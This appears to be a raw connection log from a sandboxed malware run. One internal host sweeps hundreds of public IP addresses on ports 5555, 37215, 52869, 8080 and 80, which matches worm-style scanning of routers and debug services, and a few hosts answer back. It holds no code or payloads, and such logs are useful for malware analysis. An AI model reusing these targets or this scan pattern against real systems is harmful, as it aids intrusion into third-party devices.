Feb 12, 2023 21:25:00.966588974 CET	22272	5555	192.168.2.23	120.82.176.11
Feb 12, 2023 21:25:00.966593981 CET	22272	5555	192.168.2.23	221.91.54.202
Feb 12, 2023 21:25:00.966593981 CET	22272	5555	192.168.2.23	69.223.172.220
Feb 12, 2023 21:25:00.966593981 CET	22272	5555	192.168.2.23	66.186.213.4
Feb 12, 2023 21:25:00.966593981 CET	22272	5555	192.168.2.23	31.50.173.106
Feb 12, 2023 21:25:00.966593981 CET	22272	5555	192.168.2.23	182.72.12.198
Feb 12, 2023 21:25:00.966593981 CET	22272	5555	192.168.2.23	144.4.11.79
Feb 12, 2023 21:25:00.966614962 CET	22272	5555	192.168.2.23	109.193.149.104
Feb 12, 2023 21:25:00.966614962 CET	22272	5555	192.168.2.23	85.69.51.80
Feb 12, 2023 21:25:00.966614962 CET	22272	5555	192.168.2.23	63.8.132.215
Feb 12, 2023 21:25:00.966617107 CET	22272	5555	192.168.2.23	73.88.229.197
Feb 12, 2023 21:25:00.966614962 CET	22272	5555	192.168.2.23	113.108.71.177
Feb 12, 2023 21:25:00.966618061 CET	22272	5555	192.168.2.23	163.81.249.140
Feb 12, 2023 21:25:00.966617107 CET	22272	5555	192.168.2.23	64.192.7.140
Feb 12, 2023 21:25:00.966614962 CET	22272	5555	192.168.2.23	103.51.156.62
Feb 12, 2023 21:25:00.966617107 CET	22272	5555	192.168.2.23	120.78.205.175
Feb 12, 2023 21:25:00.966617107 CET	22272	5555	192.168.2.23	53.229.74.14
Feb 12, 2023 21:25:00.966617107 CET	22272	5555	192.168.2.23	61.208.94.4
Feb 12, 2023 21:25:00.966617107 CET	22272	5555	192.168.2.23	157.33.45.217
Feb 12, 2023 21:25:00.966629982 CET	22272	5555	192.168.2.23	81.206.188.112
Feb 12, 2023 21:25:00.966629982 CET	22272	5555	192.168.2.23	100.248.149.38
Feb 12, 2023 21:25:00.966629982 CET	22272	5555	192.168.2.23	197.206.133.34
Feb 12, 2023 21:25:00.966629982 CET	22272	5555	192.168.2.23	216.170.217.240
Feb 12, 2023 21:25:00.966634035 CET	22272	5555	192.168.2.23	213.155.6.124
Feb 12, 2023 21:25:00.966634035 CET	22272	5555	192.168.2.23	23.229.88.167
Feb 12, 2023 21:25:00.966634035 CET	22272	5555	192.168.2.23	24.173.149.254
Feb 12, 2023 21:25:00.966634035 CET	22272	5555	192.168.2.23	199.222.251.41
Feb 12, 2023 21:25:00.966634035 CET	22272	5555	192.168.2.23	218.19.55.105
Feb 12, 2023 21:25:00.966634035 CET	22272	5555	192.168.2.23	147.154.119.249
Feb 12, 2023 21:25:00.966646910 CET	22272	5555	192.168.2.23	191.229.139.180
Feb 12, 2023 21:25:00.966646910 CET	22272	5555	192.168.2.23	160.110.216.10
Feb 12, 2023 21:25:00.966646910 CET	22272	5555	192.168.2.23	183.78.43.254
Feb 12, 2023 21:25:00.966692924 CET	22272	5555	192.168.2.23	148.224.124.249
Feb 12, 2023 21:25:00.966692924 CET	22272	5555	192.168.2.23	54.252.66.140
Feb 12, 2023 21:25:00.966692924 CET	22272	5555	192.168.2.23	159.108.0.247
Feb 12, 2023 21:25:00.966692924 CET	22272	5555	192.168.2.23	197.47.249.66
Feb 12, 2023 21:25:00.966692924 CET	22272	5555	192.168.2.23	168.86.199.12
Feb 12, 2023 21:25:00.966692924 CET	22272	5555	192.168.2.23	193.172.30.17
Feb 12, 2023 21:25:00.966694117 CET	22272	5555	192.168.2.23	31.0.84.44
Feb 12, 2023 21:25:00.966694117 CET	22272	5555	192.168.2.23	85.95.200.7
Feb 12, 2023 21:25:00.966711044 CET	22272	5555	192.168.2.23	124.220.151.148
Feb 12, 2023 21:25:00.966711044 CET	22272	5555	192.168.2.23	142.54.244.164
Feb 12, 2023 21:25:00.966711044 CET	22272	5555	192.168.2.23	190.213.137.44
Feb 12, 2023 21:25:00.966711044 CET	22272	5555	192.168.2.23	64.81.23.130
Feb 12, 2023 21:25:00.967163086 CET	55220	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:01.007124901 CET	44056	52869	192.168.2.23	51.51.46.51
Feb 12, 2023 21:25:01.007124901 CET	59678	52869	192.168.2.23	49.54.56.46
Feb 12, 2023 21:25:01.007128000 CET	42220	80	192.168.2.23	49.57.56.46
Feb 12, 2023 21:25:01.007138968 CET	56886	80	192.168.2.23	57.46.50.55
Feb 12, 2023 21:25:01.007141113 CET	43696	80	192.168.2.23	49.52.54.46
Feb 12, 2023 21:25:01.007142067 CET	45550	52869	192.168.2.23	50.48.50.46
Feb 12, 2023 21:25:01.007141113 CET	34878	52869	192.168.2.23	49.55.55.46
Feb 12, 2023 21:25:01.007141113 CET	40692	80	192.168.2.23	49.49.51.46
Feb 12, 2023 21:25:01.007141113 CET	47648	52869	192.168.2.23	49.54.51.46
Feb 12, 2023 21:25:01.007142067 CET	60104	80	192.168.2.23	49.48.57.46
Feb 12, 2023 21:25:01.039125919 CET	43092	52869	192.168.2.23	53.50.46.50
Feb 12, 2023 21:25:01.039144039 CET	54676	37215	192.168.2.23	197.197.49.49
Feb 12, 2023 21:25:01.039155006 CET	43318	80	192.168.2.23	51.56.46.49
Feb 12, 2023 21:25:01.039166927 CET	38074	52869	192.168.2.23	49.57.56.46
Feb 12, 2023 21:25:01.071140051 CET	33124	52869	192.168.2.23	50.46.54.48
Feb 12, 2023 21:25:01.103085995 CET	37362	52869	192.168.2.23	49.55.51.46
Feb 12, 2023 21:25:01.103096962 CET	58408	52869	192.168.2.23	49.57.48.46
Feb 12, 2023 21:25:01.116360903 CET	5555	22272	182.72.12.198	192.168.2.23
Feb 12, 2023 21:25:01.146446943 CET	5555	22272	105.149.111.247	192.168.2.23
Feb 12, 2023 21:25:01.157938957 CET	5555	22272	181.174.23.134	192.168.2.23
Feb 12, 2023 21:25:01.160835028 CET	5555	22272	104.193.131.126	192.168.2.23
Feb 12, 2023 21:25:01.224797010 CET	52981	37215	192.168.2.23	197.213.118.37
Feb 12, 2023 21:25:01.224797010 CET	52981	37215	192.168.2.23	41.28.97.185
Feb 12, 2023 21:25:01.224811077 CET	52981	37215	192.168.2.23	197.194.249.100
Feb 12, 2023 21:25:01.224811077 CET	52981	37215	192.168.2.23	197.56.27.222
Feb 12, 2023 21:25:01.224813938 CET	52981	37215	192.168.2.23	41.184.126.203
Feb 12, 2023 21:25:01.224822998 CET	52981	37215	192.168.2.23	157.185.38.231
Feb 12, 2023 21:25:01.224822998 CET	52981	37215	192.168.2.23	197.218.72.180
Feb 12, 2023 21:25:01.224863052 CET	52981	37215	192.168.2.23	197.175.157.56
Feb 12, 2023 21:25:01.224867105 CET	52981	37215	192.168.2.23	41.116.128.14
Feb 12, 2023 21:25:01.224890947 CET	52981	37215	192.168.2.23	157.235.124.59
Feb 12, 2023 21:25:01.224895000 CET	52981	37215	192.168.2.23	204.4.177.136
Feb 12, 2023 21:25:01.224900961 CET	52981	37215	192.168.2.23	197.12.76.72
Feb 12, 2023 21:25:01.224919081 CET	52981	37215	192.168.2.23	197.147.80.84
Feb 12, 2023 21:25:01.224940062 CET	52981	37215	192.168.2.23	151.83.149.35
Feb 12, 2023 21:25:01.224946022 CET	52981	37215	192.168.2.23	41.39.133.195
Feb 12, 2023 21:25:01.224953890 CET	52981	37215	192.168.2.23	197.92.214.181
Feb 12, 2023 21:25:01.224956989 CET	52981	37215	192.168.2.23	157.248.236.120
Feb 12, 2023 21:25:01.224961996 CET	52981	37215	192.168.2.23	197.31.136.176
Feb 12, 2023 21:25:01.224977970 CET	52981	37215	192.168.2.23	157.23.214.171
Feb 12, 2023 21:25:01.224988937 CET	52981	37215	192.168.2.23	49.179.194.10
Feb 12, 2023 21:25:01.225019932 CET	52981	37215	192.168.2.23	178.151.88.21
Feb 12, 2023 21:25:01.225019932 CET	52981	37215	192.168.2.23	184.136.243.47
Feb 12, 2023 21:25:01.225068092 CET	52981	37215	192.168.2.23	41.138.243.17
Feb 12, 2023 21:25:01.225076914 CET	52981	37215	192.168.2.23	197.53.200.107
Feb 12, 2023 21:25:01.225097895 CET	52981	37215	192.168.2.23	157.110.105.49
Feb 12, 2023 21:25:01.225117922 CET	52981	37215	192.168.2.23	41.250.107.125
Feb 12, 2023 21:25:01.225142956 CET	52981	37215	192.168.2.23	197.112.188.195
Feb 12, 2023 21:25:01.225147963 CET	52981	37215	192.168.2.23	41.126.140.31
Feb 12, 2023 21:25:01.225178003 CET	52981	37215	192.168.2.23	157.218.22.92
Feb 12, 2023 21:25:01.225207090 CET	52981	37215	192.168.2.23	157.101.109.153
Feb 12, 2023 21:25:01.225223064 CET	52981	37215	192.168.2.23	157.178.19.102
Feb 12, 2023 21:25:01.225229979 CET	52981	37215	192.168.2.23	41.73.162.155
Feb 12, 2023 21:25:01.225231886 CET	52981	37215	192.168.2.23	157.28.14.151
Feb 12, 2023 21:25:01.225234032 CET	52981	37215	192.168.2.23	41.107.241.232
Feb 12, 2023 21:25:01.225250006 CET	52981	37215	192.168.2.23	157.48.137.158
Feb 12, 2023 21:25:01.225274086 CET	52981	37215	192.168.2.23	157.108.227.2
Feb 12, 2023 21:25:01.225317001 CET	52981	37215	192.168.2.23	41.255.186.16
Feb 12, 2023 21:25:01.225317001 CET	52981	37215	192.168.2.23	41.148.222.113
Feb 12, 2023 21:25:01.225320101 CET	52981	37215	192.168.2.23	41.81.204.19
Feb 12, 2023 21:25:01.225337029 CET	52981	37215	192.168.2.23	197.88.152.228
Feb 12, 2023 21:25:01.225354910 CET	52981	37215	192.168.2.23	197.136.97.198
Feb 12, 2023 21:25:01.225373030 CET	52981	37215	192.168.2.23	157.224.203.143
Feb 12, 2023 21:25:01.225398064 CET	52981	37215	192.168.2.23	157.69.236.105
Feb 12, 2023 21:25:01.225414038 CET	52981	37215	192.168.2.23	160.107.31.62
Feb 12, 2023 21:25:01.225469112 CET	52981	37215	192.168.2.23	41.171.58.245
Feb 12, 2023 21:25:01.225474119 CET	52981	37215	192.168.2.23	91.183.154.16
Feb 12, 2023 21:25:01.225497007 CET	52981	37215	192.168.2.23	114.138.192.155
Feb 12, 2023 21:25:01.225514889 CET	52981	37215	192.168.2.23	41.11.139.80
Feb 12, 2023 21:25:01.225514889 CET	52981	37215	192.168.2.23	197.40.37.215
Feb 12, 2023 21:25:01.225517035 CET	52981	37215	192.168.2.23	157.207.250.116
Feb 12, 2023 21:25:01.225534916 CET	52981	37215	192.168.2.23	197.102.154.17
Feb 12, 2023 21:25:01.225559950 CET	52981	37215	192.168.2.23	157.51.184.20
Feb 12, 2023 21:25:01.225581884 CET	52981	37215	192.168.2.23	157.234.90.224
Feb 12, 2023 21:25:01.225581884 CET	52981	37215	192.168.2.23	157.103.251.215
Feb 12, 2023 21:25:01.225608110 CET	52981	37215	192.168.2.23	197.236.181.252
Feb 12, 2023 21:25:01.225622892 CET	52981	37215	192.168.2.23	41.163.132.19
Feb 12, 2023 21:25:01.225634098 CET	52981	37215	192.168.2.23	41.60.115.214
Feb 12, 2023 21:25:01.225657940 CET	52981	37215	192.168.2.23	157.102.5.250
Feb 12, 2023 21:25:01.225668907 CET	52981	37215	192.168.2.23	197.24.138.213
Feb 12, 2023 21:25:01.225684881 CET	52981	37215	192.168.2.23	213.41.5.220
Feb 12, 2023 21:25:01.225686073 CET	52981	37215	192.168.2.23	157.160.243.90
Feb 12, 2023 21:25:01.225686073 CET	52981	37215	192.168.2.23	212.78.92.106
Feb 12, 2023 21:25:01.225692034 CET	52981	37215	192.168.2.23	196.212.82.202
Feb 12, 2023 21:25:01.225720882 CET	52981	37215	192.168.2.23	197.99.39.72
Feb 12, 2023 21:25:01.225725889 CET	52981	37215	192.168.2.23	138.7.141.128
Feb 12, 2023 21:25:01.225747108 CET	52981	37215	192.168.2.23	41.114.153.175
Feb 12, 2023 21:25:01.225749969 CET	52981	37215	192.168.2.23	41.239.93.45
Feb 12, 2023 21:25:01.225754023 CET	52981	37215	192.168.2.23	197.20.232.130
Feb 12, 2023 21:25:01.225781918 CET	52981	37215	192.168.2.23	197.156.29.120
Feb 12, 2023 21:25:01.225800037 CET	52981	37215	192.168.2.23	41.148.94.239
Feb 12, 2023 21:25:01.225811958 CET	52981	37215	192.168.2.23	157.85.87.76
Feb 12, 2023 21:25:01.225848913 CET	52981	37215	192.168.2.23	134.126.58.26
Feb 12, 2023 21:25:01.225856066 CET	52981	37215	192.168.2.23	197.136.30.223
Feb 12, 2023 21:25:01.225872040 CET	52981	37215	192.168.2.23	197.183.202.66
Feb 12, 2023 21:25:01.225894928 CET	52981	37215	192.168.2.23	118.97.223.49
Feb 12, 2023 21:25:01.225907087 CET	52981	37215	192.168.2.23	41.123.75.125
Feb 12, 2023 21:25:01.225918055 CET	52981	37215	192.168.2.23	197.3.161.32
Feb 12, 2023 21:25:01.225929022 CET	52981	37215	192.168.2.23	41.234.32.15
Feb 12, 2023 21:25:01.225948095 CET	52981	37215	192.168.2.23	197.137.187.89
Feb 12, 2023 21:25:01.225970030 CET	52981	37215	192.168.2.23	157.107.163.22
Feb 12, 2023 21:25:01.226000071 CET	52981	37215	192.168.2.23	41.222.194.140
Feb 12, 2023 21:25:01.226005077 CET	52981	37215	192.168.2.23	41.64.111.146
Feb 12, 2023 21:25:01.226025105 CET	52981	37215	192.168.2.23	24.205.48.214
Feb 12, 2023 21:25:01.226041079 CET	52981	37215	192.168.2.23	157.204.0.10
Feb 12, 2023 21:25:01.226048946 CET	52981	37215	192.168.2.23	41.185.233.214
Feb 12, 2023 21:25:01.226057053 CET	52981	37215	192.168.2.23	197.127.128.170
Feb 12, 2023 21:25:01.226079941 CET	52981	37215	192.168.2.23	197.11.40.200
Feb 12, 2023 21:25:01.226078987 CET	52981	37215	192.168.2.23	212.150.74.72
Feb 12, 2023 21:25:01.226100922 CET	52981	37215	192.168.2.23	157.53.171.114
Feb 12, 2023 21:25:01.226120949 CET	52981	37215	192.168.2.23	197.230.104.31
Feb 12, 2023 21:25:01.226125002 CET	52981	37215	192.168.2.23	41.88.22.128
Feb 12, 2023 21:25:01.226145983 CET	52981	37215	192.168.2.23	197.85.160.160
Feb 12, 2023 21:25:01.226170063 CET	52981	37215	192.168.2.23	41.251.251.101
Feb 12, 2023 21:25:01.226171017 CET	52981	37215	192.168.2.23	41.154.32.78
Feb 12, 2023 21:25:01.226182938 CET	52981	37215	192.168.2.23	197.215.101.173
Feb 12, 2023 21:25:01.226222038 CET	52981	37215	192.168.2.23	197.120.253.232
Feb 12, 2023 21:25:01.226223946 CET	52981	37215	192.168.2.23	190.120.16.7
Feb 12, 2023 21:25:01.226258039 CET	52981	37215	192.168.2.23	41.120.130.32
Feb 12, 2023 21:25:01.226310015 CET	52981	37215	192.168.2.23	197.235.154.245
Feb 12, 2023 21:25:01.226337910 CET	52981	37215	192.168.2.23	187.138.32.157
Feb 12, 2023 21:25:01.226337910 CET	52981	37215	192.168.2.23	41.242.78.152
Feb 12, 2023 21:25:01.226355076 CET	52981	37215	192.168.2.23	41.238.10.148
Feb 12, 2023 21:25:01.226378918 CET	52981	37215	192.168.2.23	41.254.33.199
Feb 12, 2023 21:25:01.226388931 CET	52981	37215	192.168.2.23	157.187.16.222
Feb 12, 2023 21:25:01.226388931 CET	52981	37215	192.168.2.23	157.35.154.163
Feb 12, 2023 21:25:01.226388931 CET	52981	37215	192.168.2.23	41.148.40.131
Feb 12, 2023 21:25:01.226397038 CET	52981	37215	192.168.2.23	78.105.9.16
Feb 12, 2023 21:25:01.226423979 CET	52981	37215	192.168.2.23	41.139.184.159
Feb 12, 2023 21:25:01.226423979 CET	52981	37215	192.168.2.23	68.119.243.7
Feb 12, 2023 21:25:01.226459026 CET	52981	37215	192.168.2.23	130.12.129.103
Feb 12, 2023 21:25:01.226470947 CET	52981	37215	192.168.2.23	221.104.36.234
Feb 12, 2023 21:25:01.226471901 CET	52981	37215	192.168.2.23	221.210.67.47
Feb 12, 2023 21:25:01.226490974 CET	52981	37215	192.168.2.23	157.50.30.61
Feb 12, 2023 21:25:01.226499081 CET	52981	37215	192.168.2.23	41.157.153.224
Feb 12, 2023 21:25:01.226525068 CET	52981	37215	192.168.2.23	197.112.145.139
Feb 12, 2023 21:25:01.226547956 CET	52981	37215	192.168.2.23	197.238.201.248
Feb 12, 2023 21:25:01.226603031 CET	52981	37215	192.168.2.23	46.129.125.142
Feb 12, 2023 21:25:01.226619959 CET	52981	37215	192.168.2.23	41.24.116.221
Feb 12, 2023 21:25:01.226630926 CET	52981	37215	192.168.2.23	41.51.201.225
Feb 12, 2023 21:25:01.226629972 CET	52981	37215	192.168.2.23	157.217.19.48
Feb 12, 2023 21:25:01.226629972 CET	52981	37215	192.168.2.23	157.50.198.116
Feb 12, 2023 21:25:01.226705074 CET	52981	37215	192.168.2.23	157.24.229.42
Feb 12, 2023 21:25:01.226728916 CET	52981	37215	192.168.2.23	41.189.44.218
Feb 12, 2023 21:25:01.226747036 CET	52981	37215	192.168.2.23	157.250.197.236
Feb 12, 2023 21:25:01.226761103 CET	52981	37215	192.168.2.23	41.233.116.110
Feb 12, 2023 21:25:01.226773024 CET	52981	37215	192.168.2.23	156.67.193.23
Feb 12, 2023 21:25:01.226792097 CET	52981	37215	192.168.2.23	157.179.53.209
Feb 12, 2023 21:25:01.226797104 CET	52981	37215	192.168.2.23	81.198.136.183
Feb 12, 2023 21:25:01.226798058 CET	52981	37215	192.168.2.23	157.15.202.147
Feb 12, 2023 21:25:01.226831913 CET	52981	37215	192.168.2.23	157.39.57.225
Feb 12, 2023 21:25:01.226831913 CET	52981	37215	192.168.2.23	188.137.50.133
Feb 12, 2023 21:25:01.226860046 CET	52981	37215	192.168.2.23	157.98.234.203
Feb 12, 2023 21:25:01.226860046 CET	52981	37215	192.168.2.23	197.198.40.38
Feb 12, 2023 21:25:01.226886034 CET	52981	37215	192.168.2.23	197.113.172.251
Feb 12, 2023 21:25:01.226911068 CET	52981	37215	192.168.2.23	41.200.190.190
Feb 12, 2023 21:25:01.226917028 CET	52981	37215	192.168.2.23	157.15.211.107
Feb 12, 2023 21:25:01.226918936 CET	52981	37215	192.168.2.23	41.221.37.252
Feb 12, 2023 21:25:01.226937056 CET	52981	37215	192.168.2.23	197.199.199.161
Feb 12, 2023 21:25:01.226974010 CET	52981	37215	192.168.2.23	41.39.170.139
Feb 12, 2023 21:25:01.226975918 CET	52981	37215	192.168.2.23	41.84.155.58
Feb 12, 2023 21:25:01.226998091 CET	52981	37215	192.168.2.23	197.37.82.109
Feb 12, 2023 21:25:01.227015972 CET	52981	37215	192.168.2.23	83.175.69.57
Feb 12, 2023 21:25:01.227015972 CET	52981	37215	192.168.2.23	197.31.146.100
Feb 12, 2023 21:25:01.227777004 CET	52981	37215	192.168.2.23	51.164.9.238
Feb 12, 2023 21:25:01.227803946 CET	52981	37215	192.168.2.23	41.56.237.227
Feb 12, 2023 21:25:01.227818012 CET	52981	37215	192.168.2.23	106.189.41.244
Feb 12, 2023 21:25:01.227847099 CET	52981	37215	192.168.2.23	221.230.203.51
Feb 12, 2023 21:25:01.227848053 CET	52981	37215	192.168.2.23	41.86.167.90
Feb 12, 2023 21:25:01.227869034 CET	52981	37215	192.168.2.23	104.199.192.174
Feb 12, 2023 21:25:01.227881908 CET	52981	37215	192.168.2.23	197.146.176.189
Feb 12, 2023 21:25:01.227909088 CET	52981	37215	192.168.2.23	31.225.100.141
Feb 12, 2023 21:25:01.227916956 CET	52981	37215	192.168.2.23	50.118.39.135
Feb 12, 2023 21:25:01.227933884 CET	52981	37215	192.168.2.23	157.251.13.169
Feb 12, 2023 21:25:01.227948904 CET	52981	37215	192.168.2.23	163.77.176.218
Feb 12, 2023 21:25:01.227955103 CET	52981	37215	192.168.2.23	197.82.180.158
Feb 12, 2023 21:25:01.227978945 CET	52981	37215	192.168.2.23	41.230.108.35
Feb 12, 2023 21:25:01.227981091 CET	52981	37215	192.168.2.23	41.242.202.215
Feb 12, 2023 21:25:01.228012085 CET	52981	37215	192.168.2.23	157.91.102.229
Feb 12, 2023 21:25:01.228044033 CET	52981	37215	192.168.2.23	152.236.133.61
Feb 12, 2023 21:25:01.228061914 CET	52981	37215	192.168.2.23	79.1.224.106
Feb 12, 2023 21:25:01.228082895 CET	52981	37215	192.168.2.23	197.150.142.69
Feb 12, 2023 21:25:01.228091002 CET	52981	37215	192.168.2.23	41.11.45.1
Feb 12, 2023 21:25:01.228091002 CET	52981	37215	192.168.2.23	41.146.140.227
Feb 12, 2023 21:25:01.228121996 CET	52981	37215	192.168.2.23	157.107.65.196
Feb 12, 2023 21:25:01.228154898 CET	52981	37215	192.168.2.23	157.36.134.211
Feb 12, 2023 21:25:01.228159904 CET	52981	37215	192.168.2.23	180.199.252.180
Feb 12, 2023 21:25:01.228163004 CET	52981	37215	192.168.2.23	37.96.100.131
Feb 12, 2023 21:25:01.228163004 CET	52981	37215	192.168.2.23	157.189.165.23
Feb 12, 2023 21:25:01.228163004 CET	52981	37215	192.168.2.23	130.108.18.140
Feb 12, 2023 21:25:01.228177071 CET	52981	37215	192.168.2.23	197.46.64.58
Feb 12, 2023 21:25:01.228176117 CET	52981	37215	192.168.2.23	35.62.183.213
Feb 12, 2023 21:25:01.228176117 CET	52981	37215	192.168.2.23	166.69.75.100
Feb 12, 2023 21:25:01.228209972 CET	52981	37215	192.168.2.23	41.166.211.103
Feb 12, 2023 21:25:01.228229046 CET	52981	37215	192.168.2.23	41.241.74.161
Feb 12, 2023 21:25:01.228240013 CET	52981	37215	192.168.2.23	157.52.120.207
Feb 12, 2023 21:25:01.228250980 CET	52981	37215	192.168.2.23	218.233.206.239
Feb 12, 2023 21:25:01.228260040 CET	52981	37215	192.168.2.23	157.17.237.198
Feb 12, 2023 21:25:01.228280067 CET	52981	37215	192.168.2.23	157.42.100.194
Feb 12, 2023 21:25:01.228296995 CET	52981	37215	192.168.2.23	48.96.178.250
Feb 12, 2023 21:25:01.228337049 CET	52981	37215	192.168.2.23	41.43.200.231
Feb 12, 2023 21:25:01.228337049 CET	52981	37215	192.168.2.23	191.30.101.221
Feb 12, 2023 21:25:01.228358030 CET	52981	37215	192.168.2.23	121.165.187.217
Feb 12, 2023 21:25:01.228379011 CET	52981	37215	192.168.2.23	89.183.145.11
Feb 12, 2023 21:25:01.228394032 CET	52981	37215	192.168.2.23	104.198.63.60
Feb 12, 2023 21:25:01.228398085 CET	52981	37215	192.168.2.23	157.42.1.131
Feb 12, 2023 21:25:01.228414059 CET	52981	37215	192.168.2.23	155.175.65.107
Feb 12, 2023 21:25:01.228419065 CET	52981	37215	192.168.2.23	197.193.30.33
Feb 12, 2023 21:25:01.228437901 CET	52981	37215	192.168.2.23	197.43.137.214
Feb 12, 2023 21:25:01.228446007 CET	52981	37215	192.168.2.23	197.49.96.61
Feb 12, 2023 21:25:01.228465080 CET	52981	37215	192.168.2.23	197.90.165.122
Feb 12, 2023 21:25:01.228492022 CET	52981	37215	192.168.2.23	197.106.208.30
Feb 12, 2023 21:25:01.228508949 CET	52981	37215	192.168.2.23	197.69.33.85
Feb 12, 2023 21:25:01.228557110 CET	52981	37215	192.168.2.23	157.118.199.23
Feb 12, 2023 21:25:01.228557110 CET	52981	37215	192.168.2.23	41.85.177.164
Feb 12, 2023 21:25:01.228557110 CET	52981	37215	192.168.2.23	197.185.209.99
Feb 12, 2023 21:25:01.228574991 CET	52981	37215	192.168.2.23	41.132.156.83
Feb 12, 2023 21:25:01.228579044 CET	52981	37215	192.168.2.23	41.3.34.122
Feb 12, 2023 21:25:01.228595972 CET	52981	37215	192.168.2.23	157.240.226.2
Feb 12, 2023 21:25:01.228596926 CET	52981	37215	192.168.2.23	197.184.178.87
Feb 12, 2023 21:25:01.228599072 CET	52981	37215	192.168.2.23	69.19.187.155
Feb 12, 2023 21:25:01.228643894 CET	52981	37215	192.168.2.23	134.96.208.128
Feb 12, 2023 21:25:01.228646040 CET	52981	37215	192.168.2.23	109.190.237.230
Feb 12, 2023 21:25:01.228655100 CET	52981	37215	192.168.2.23	157.87.177.53
Feb 12, 2023 21:25:01.228655100 CET	52981	37215	192.168.2.23	157.241.91.35
Feb 12, 2023 21:25:01.228666067 CET	52981	37215	192.168.2.23	197.165.67.241
Feb 12, 2023 21:25:01.228684902 CET	52981	37215	192.168.2.23	41.232.144.95
Feb 12, 2023 21:25:01.228686094 CET	52981	37215	192.168.2.23	197.155.211.81
Feb 12, 2023 21:25:01.228710890 CET	52981	37215	192.168.2.23	41.24.220.105
Feb 12, 2023 21:25:01.228729963 CET	52981	37215	192.168.2.23	197.65.65.239
Feb 12, 2023 21:25:01.228732109 CET	52981	37215	192.168.2.23	197.223.121.175
Feb 12, 2023 21:25:01.228732109 CET	52981	37215	192.168.2.23	176.12.22.108
Feb 12, 2023 21:25:01.228734970 CET	52981	37215	192.168.2.23	157.241.110.141
Feb 12, 2023 21:25:01.228740931 CET	52981	37215	192.168.2.23	197.131.156.43
Feb 12, 2023 21:25:01.228749990 CET	52981	37215	192.168.2.23	197.64.205.20
Feb 12, 2023 21:25:01.228749990 CET	52981	37215	192.168.2.23	212.0.125.198
Feb 12, 2023 21:25:01.228765011 CET	52981	37215	192.168.2.23	157.89.117.118
Feb 12, 2023 21:25:01.228785992 CET	52981	37215	192.168.2.23	197.23.123.239
Feb 12, 2023 21:25:01.228789091 CET	52981	37215	192.168.2.23	197.63.217.34
Feb 12, 2023 21:25:01.228796959 CET	52981	37215	192.168.2.23	41.81.34.73
Feb 12, 2023 21:25:01.228827000 CET	52981	37215	192.168.2.23	133.140.164.61
Feb 12, 2023 21:25:01.228837967 CET	52981	37215	192.168.2.23	157.203.113.143
Feb 12, 2023 21:25:01.228854895 CET	52981	37215	192.168.2.23	41.185.185.156
Feb 12, 2023 21:25:01.228879929 CET	52981	37215	192.168.2.23	41.15.169.135
Feb 12, 2023 21:25:01.228890896 CET	52981	37215	192.168.2.23	115.140.39.122
Feb 12, 2023 21:25:01.228912115 CET	52981	37215	192.168.2.23	41.168.222.156
Feb 12, 2023 21:25:01.228954077 CET	52981	37215	192.168.2.23	157.133.79.131
Feb 12, 2023 21:25:01.228957891 CET	52981	37215	192.168.2.23	41.202.32.109
Feb 12, 2023 21:25:01.228965044 CET	52981	37215	192.168.2.23	157.170.65.227
Feb 12, 2023 21:25:01.228984118 CET	52981	37215	192.168.2.23	197.234.250.169
Feb 12, 2023 21:25:01.228997946 CET	52981	37215	192.168.2.23	41.207.199.48
Feb 12, 2023 21:25:01.229022980 CET	52981	37215	192.168.2.23	157.110.71.127
Feb 12, 2023 21:25:01.229031086 CET	52981	37215	192.168.2.23	197.32.240.113
Feb 12, 2023 21:25:01.229067087 CET	52981	37215	192.168.2.23	157.98.202.195
Feb 12, 2023 21:25:01.229079008 CET	52981	37215	192.168.2.23	41.133.220.188
Feb 12, 2023 21:25:01.229084969 CET	52981	37215	192.168.2.23	157.241.110.129
Feb 12, 2023 21:25:01.229099035 CET	52981	37215	192.168.2.23	197.41.164.23
Feb 12, 2023 21:25:01.229125977 CET	52981	37215	192.168.2.23	102.10.177.102
Feb 12, 2023 21:25:01.229135036 CET	52981	37215	192.168.2.23	197.58.28.45
Feb 12, 2023 21:25:01.229149103 CET	52981	37215	192.168.2.23	157.99.86.184
Feb 12, 2023 21:25:01.229168892 CET	52981	37215	192.168.2.23	107.15.19.15
Feb 12, 2023 21:25:01.229206085 CET	52981	37215	192.168.2.23	163.228.249.220
Feb 12, 2023 21:25:01.229223967 CET	52981	37215	192.168.2.23	197.98.11.236
Feb 12, 2023 21:25:01.229226112 CET	52981	37215	192.168.2.23	157.223.251.214
Feb 12, 2023 21:25:01.229259014 CET	52981	37215	192.168.2.23	157.14.200.220
Feb 12, 2023 21:25:01.229259014 CET	52981	37215	192.168.2.23	94.212.179.63
Feb 12, 2023 21:25:01.229264021 CET	52981	37215	192.168.2.23	157.38.42.145
Feb 12, 2023 21:25:01.229269028 CET	52981	37215	192.168.2.23	41.47.55.233
Feb 12, 2023 21:25:01.229280949 CET	52981	37215	192.168.2.23	155.17.68.14
Feb 12, 2023 21:25:01.229322910 CET	52981	37215	192.168.2.23	37.164.56.155
Feb 12, 2023 21:25:01.229325056 CET	52981	37215	192.168.2.23	98.191.190.233
Feb 12, 2023 21:25:01.229331017 CET	52981	37215	192.168.2.23	34.144.99.220
Feb 12, 2023 21:25:01.229352951 CET	52981	37215	192.168.2.23	156.93.41.150
Feb 12, 2023 21:25:01.229358912 CET	52981	37215	192.168.2.23	41.54.68.222
Feb 12, 2023 21:25:01.229372978 CET	52981	37215	192.168.2.23	197.29.249.23
Feb 12, 2023 21:25:01.229393959 CET	52981	37215	192.168.2.23	157.4.68.187
Feb 12, 2023 21:25:01.229403973 CET	52981	37215	192.168.2.23	197.157.6.228
Feb 12, 2023 21:25:01.264631033 CET	49606	80	192.168.2.23	55.56.46.55
Feb 12, 2023 21:25:01.266902924 CET	55804	80	192.168.2.23	53.46.49.48
Feb 12, 2023 21:25:01.269270897 CET	37082	80	192.168.2.23	54.50.46.49
Feb 12, 2023 21:25:01.270548105 CET	47950	80	192.168.2.23	52.50.46.51
Feb 12, 2023 21:25:01.272871017 CET	38514	80	192.168.2.23	53.46.56.53
Feb 12, 2023 21:25:01.274533033 CET	49488	80	192.168.2.23	53.46.51.50
Feb 12, 2023 21:25:01.359170914 CET	36540	49152	192.168.2.23	51.56.46.49
Feb 12, 2023 21:25:01.423131943 CET	35298	8080	192.168.2.23	49.54.56.46
Feb 12, 2023 21:25:01.423144102 CET	41866	8080	192.168.2.23	49.55.55.46
Feb 12, 2023 21:25:01.423158884 CET	34386	8080	192.168.2.23	49.54.51.46
Feb 12, 2023 21:25:01.423161983 CET	51930	8080	192.168.2.23	51.51.46.51
